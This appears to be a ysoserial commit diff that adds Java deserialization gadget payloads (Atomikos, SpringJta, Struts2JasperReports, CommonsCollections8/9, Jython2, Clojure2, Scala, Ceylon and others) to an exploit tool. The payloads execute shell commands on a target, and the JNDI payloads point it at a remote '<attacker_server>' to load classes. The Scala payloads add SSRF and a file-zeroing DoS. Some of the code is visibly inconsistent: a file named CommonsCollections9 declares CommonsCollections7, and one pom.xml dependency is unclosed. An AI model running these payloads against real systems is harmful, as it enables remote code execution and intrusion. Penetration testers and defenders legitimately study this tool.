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New gadgets (#180)

Browse Source 
* CommonsCollections8 payload (#116)

* New gadgets (Struts2JasperReports - Atomikos - SpringJta) (#123)

* added Atomikos gadget payload

* added Atomikos gadget payload

* naming

* added spring-jta gadget

* added strutsJasperReports gadget + tests

* updated deps list on springJta

* fixed authors

* renaming

* Add new payload in Commons Collections 3.2.1 (#125)

* Add Jython2 gadget (#135)

This version of Jython2 executes a command through os.system(). Based on Jython1 from @pwntester & @cschneider4711

Co-authored-by: Chris Frohoff <[email protected]>

* Add scala and clojure payloads from a couple of years ago (#137)

* Add some payloads for Scala

* Add new clojure payload effecting versions since 1.8.0

* Fix infinite loop behavior of clojure2 payload.

* add CommonsBeanutils2 (#163)

* ceylon gadget (#173)

Co-authored-by: navalorenzo <[email protected]>
Co-authored-by: Stefano Ciccone <[email protected]>
Co-authored-by: 梅子酒 <[email protected]>
Co-authored-by: Yorick Koster <[email protected]>
Co-authored-by: Ian Haken <[email protected]>
Co-authored-by: k4n5ha0 <[email protected]>
Co-authored-by: supersache <[email protected]>
This commit is contained in:
Chris Frohoff
2022-04-26 22:59:45 -07:00
committed by GitHub
co-authored by navalorenzo Stefano Ciccone 梅子酒 Yorick Koster Ian Haken k4n5ha0 supersache
parent bac4220546
commit be6cbf7f13
15 changed files with 847 additions and 42 deletions
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README.md
+39 -37
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@@ -43,44 +43,46 @@ are not responsible or liable for misuse of the software. Use responsibly.
```shell
$ java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
Payload Authors Dependencies
------- ------- ------------
Atomikos @pwntester, @sciccone transactions-osgi:4.0.6, jta:1.1
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
SpringJta @zerothoughts, @sciccone spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1
Struts2JasperReports @sciccone struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
```
## Examples
pom.xml
+38 -3
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@@ -277,9 +277,9 @@
<version>1.7R2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.jboss.weld</groupId>
@@ -326,6 +326,36 @@
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>org.scala-lang</groupId>
<artifactId>scala-library</artifactId>
<version>2.12.6</version>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>transactions-osgi</artifactId>
<version>4.0.6</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>5.1.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.1.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.20</version>
</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-jasperreports-plugin</artifactId>
<version>2.5.20</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
@@ -336,6 +366,11 @@
<artifactId>click-nodeps</artifactId>
<version>2.3.0</version>
</dependency>
<dependency>
<groupId>org.ceylon-lang</groupId>
<artifactId>ceylon.language</artifactId>
<version>1.3.3</version>
</dependency>
</dependencies>
<profiles>
src/main/java/ysoserial/payloads/Atomikos.java
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@@ -0,0 +1,77 @@
package ysoserial.payloads;
import javax.management.BadAttributeValueExpException;
import com.atomikos.icatch.jta.RemoteClientUserTransaction;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* Gadget chain:
*
* javax/management/BadAttributeValueExpException.readObject()
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
* javax/naming/InitialContext.lookup()
*
*
* Arguments:
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
*
*
* @author pwntester
* payload added by sciccone
*
* This gadget chain was also discovered by pwntester:
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
*
*/
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } )
@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
public class Atomikos implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
// validate command
int sep = command.lastIndexOf('/');
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
throw new IllegalArgumentException("Command format is: " + command
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// create factory based on url
String initialContextFactory;
if (url.startsWith("ldap"))
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
else
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
// create object
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
// set values using reflection
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
Reflections.setFieldValue(rcut, "providerUrl", url);
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
// create exception
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Reflections.setFieldValue(exception, "val", rcut);
return exception;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Atomikos.class, args);
}
}
src/main/java/ysoserial/payloads/Ceylon.java
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@@ -0,0 +1,23 @@
package ysoserial.payloads;
import com.redhat.ceylon.compiler.java.language.SerializationProxy;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
@Authors({ Authors.KULLRICH })
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
public class Ceylon implements ObjectPayload<Object>
{
//
// Probably the simplest deser gadget ever ;-)
//
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
}
}
src/main/java/ysoserial/payloads/Clojure2.java
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@@ -0,0 +1,61 @@
package ysoserial.payloads;
import clojure.lang.Iterate;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Arrays;
import java.util.Map;
/*
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
clojure.lang.ASeq.hashCode()
clojure.lang.Iterate.first() -> null
clojure.lang.Iterate.next() -> new Iterate(f, null, UNREALIZED_SEED)
clojure.lang.Iterate.first() -> this.f.invoke(null)
clojure.core$constantly$fn__4614.invoke()
clojure.main$eval_opt.invoke()
Requires:
org.clojure:clojure
Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java.
Versions up to 1.10.0-alpha4 are known to be vulnerable.
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Clojure2 extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception {
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
Iterate model = Reflections.createWithoutConstructor(Iterate.class);
Object evilFn =
new clojure.core$comp().invoke(
new clojure.main$eval_opt(),
new clojure.core$constantly().invoke(clojurePayload));
// Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable()
// ends up triggering the payload in an infinite loop as it tries to compute the hashCode.
evilFn = new clojure.core$comp().invoke(
new clojure.main$eval_opt(),
new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"),
evilFn);
Reflections.setFieldValue(model, "f", evilFn);
return Gadgets.makeMap(model, null);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Clojure2.class, args);
}
}
src/main/java/ysoserial/payloads/CommonsBeanutils2.java
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@@ -0,0 +1,44 @@
package ysoserial.payloads;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.PriorityQueue;
// Origin Detective is PHITHON From
// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({Authors.K4n5ha0})
public class CommonsBeanutils2 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils2.class, args);
}
}
src/main/java/ysoserial/payloads/CommonsCollections8.java
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@@ -0,0 +1,56 @@
package ysoserial.payloads;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
org.apache.commons.collections4.bag.TreeBag.readObject
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
java.util.TreeMap.put
java.util.TreeMap.compare
org.apache.commons.collections4.comparators.TransformingComparator.compare
org.apache.commons.collections4.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
... (TemplatesImpl gadget)
java.lang.Runtime.exec
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({ Authors.NAVALORENZO })
public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<TreeBag> {
public TreeBag getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
// setup harmless chain
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// define the comparator used for sorting
TransformingComparator comp = new TransformingComparator(transformer);
// prepare CommonsCollections object entry point
TreeBag tree = new TreeBag(comp);
tree.add(templates);
// arm transformer
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return tree;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections8.class, args);
}
}
src/main/java/ysoserial/payloads/CommonsCollections9.java
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@@ -0,0 +1,102 @@
package ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.DefaultedMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
DefaultedMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.2.1"})
@Authors({ Authors.MEIZJM3I})
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
src/main/java/ysoserial/payloads/Jython2.java
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@@ -0,0 +1,57 @@
package ysoserial.payloads;
import org.python.core.*;
import java.math.BigInteger;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester), Christian Schneider (@cschneider4711),
* and Yorick Koster (@ykoster)
*
* This version of Jython2 executes a command through os.system().
* Based on Jython1 from @pwntester & @cschneider4711
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711, Authors.YKOSTER })
public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String code =
"740000" + // 0 LOAD_GLOBAL 0 (eval)
"640100" + // 3 LOAD_CONST 1 ("__import__('os', globals(), locals(), ['system'], 0).system('<command>')")
"830100" + // 6 CALL_FUNCTION 1
"01" + // 9 POP_TOP
"640000" + //10 LOAD_CONST 0 (None)
"53"; //13 RETURN_VALUE
PyObject[] consts = new PyObject[]{new PyString(""), new PyString("__import__('os', globals(), locals(), ['system'], 0).system('" + command.replace("'", "\\'") + "')")};
String[] names = new String[]{"eval"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython2.class, args);
}
}
src/main/java/ysoserial/payloads/Scala.java
+106
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@@ -0,0 +1,106 @@
package ysoserial.payloads;
import scala.Function0;
import scala.Function1;
import scala.PartialFunction;
import scala.math.Ordering$;
import scala.sys.process.processInternal$;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.File;
import java.net.URL;
import java.util.Comparator;
import java.util.PriorityQueue;
/*
Two exploits using classes in the scala library.
* CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file.
Could be useful as a DoS attack by replacing some app class/war?
* Ssrf will perform a GET request to the given URL.
Requires:
org.scala-lang:scala-library
The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library.
Some slight variations will probably work with other versions.
*/
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Scala {
private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
PartialFunction<Throwable, Object> onf = processInternal$.MODULE$.onInterrupt(exploitFunction);
Function1<Throwable, Object> f = new PartialFunction.OrElse(onf, onf);
// create queue with numbers and basic comparator
final PriorityQueue<Throwable> queue = new PriorityQueue<Throwable>(2, new Comparator<Throwable>() {
@Override
public int compare(Throwable o1, Throwable o2) {
return 0;
}
});
// stub data for replacement later
queue.add(new Exception());
queue.add(new Exception());
Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.<Throwable, Object>by(f, null));
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = new InterruptedException();
queueArray[1] = new InterruptedException();
return queue;
}
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
scala.math.Ordering$$anon$5.compare()
scala.PartialFunction$OrElse.apply()
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
java.io.FileOutputStream.<init>()
*/
public static class CreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
public PriorityQueue<Throwable> getObject(final String path) throws Exception {
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
Reflections.setFieldValue(pbf, "file$1", new File(path));
Reflections.setFieldValue(pbf, "append$1", false);
return createExploit(pbf);
}
}
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
scala.math.Ordering$$anon$5.compare()
scala.PartialFunction$OrElse.apply()
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
java.net.URL.openStream()
*/
public static class Ssrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
public PriorityQueue<Throwable> getObject(final String url) throws Exception {
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
Reflections.setFieldValue(pbf, "url$1", new URL(url));
return createExploit(pbf);
}
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
//PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
}
}
src/main/java/ysoserial/payloads/SpringJta.java
+74
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package ysoserial.payloads;
import org.springframework.transaction.jta.JtaTransactionManager;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* Gadget chain:
*
* org.springframework.transaction.jta.JtaTransactionManager.readObject()
* org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager()
* org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction()
* org.springframework.jndi.JndiTemplate.lookup()
* javax.naming.InitialContext.lookup()
*
*
* Arguments:
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
*
*
* @author zerothoughts
* payload added by sciccone
*
* This gadget was discovered by zerothoughts:
* https://github.com/zerothoughts/spring-jndi
*
*/
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
@Dependencies( {
"org.springframework:spring-tx:5.1.7.RELEASE",
"org.springframework:spring-context:5.1.7.RELEASE",
"javax.transaction:jta:1.1"
} )
@Authors({ Authors.ZEROTHOUGHTS, Authors.SCICCONE })
public class SpringJta implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
// validate command
if ( !(command.startsWith("ldap://") || command.startsWith("rmi://")) )
throw new IllegalArgumentException("Command format is: "
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
// create object
JtaTransactionManager jta = new JtaTransactionManager();
jta.setUserTransactionName(command);
return jta;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(SpringJta.class, args);
}
// add dependencies for testing
public static String[] getDependencies () {
return new String[] {
"org.springframework:spring-tx:5.1.7.RELEASE",
"org.springframework:spring-context:5.1.7.RELEASE",
"org.springframework:spring-beans:5.1.7.RELEASE",
"org.springframework:spring-core:5.1.7.RELEASE",
"commons-logging:commons-logging:1.2",
"javax.transaction:jta:1.1"
};
}
}
src/main/java/ysoserial/payloads/Struts2JasperReports.java
+115
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package ysoserial.payloads;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import org.apache.struts2.views.jasperreports.ValueStackShadowMap;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.TextProvider;
import com.opensymphony.xwork2.config.Configuration;
import com.opensymphony.xwork2.config.ConfigurationManager;
import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
import com.opensymphony.xwork2.inject.Container;
import com.opensymphony.xwork2.ognl.OgnlValueStack;
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* Gadget chain:
*
*
* java/util/HashMap<K,V>.readObject(ObjectInputStream)
* java/util/HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* org/apache/struts2/views/jasperreports/ValueStackShadowMap(AbstractMap<K,V>).equals(Object)
* org/apache/struts2/views/jasperreports/ValueStackShadowMap.get(String)
* com/opensymphony/xwork2/ognl/OgnlValueStack.findValue(String) //keyExpression
*
* Execution of embedded OGNL invoking template.newTrasformer (object put in the valueStack)
*
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* TemplatesImpl.defineTransletClasses()
* TemplatesImpl.TransletClassLoader.defineClass()
* Pwner*(Javassist-generated).<static init>
* Runtime.exec()
*
*
* @author sciccone
*
*/
@SuppressWarnings({ "unchecked" })
@PayloadTest(harness="ysoserial.test.payloads.Struts2JasperReportsTest")
@Dependencies( { "org.apache.struts:struts2-core:2.5.20", "org.apache.struts:struts2-jasperreports-plugin:2.5.20" } )
@Authors({ Authors.SCICCONE })
public class Struts2JasperReports implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
// create required objects via reflection
Constructor<XWorkConverter> c1 = XWorkConverter.class.getDeclaredConstructor();
Constructor<OgnlValueStack> c2 = OgnlValueStack.class.getDeclaredConstructor(
XWorkConverter.class, CompoundRootAccessor.class, TextProvider.class, boolean.class);
c1.setAccessible(true);
c2.setAccessible(true);
XWorkConverter xworkConverter = c1.newInstance();
OgnlValueStack ognlValueStack = c2.newInstance(xworkConverter,null,null,true);
// inject templateImpl with embedded command
ognlValueStack.set("template", Gadgets.createTemplatesImpl(command));
// create shadowMaps
ValueStackShadowMap shadowMap1 = new ValueStackShadowMap(ognlValueStack);
ValueStackShadowMap shadowMap2 = new ValueStackShadowMap(ognlValueStack);
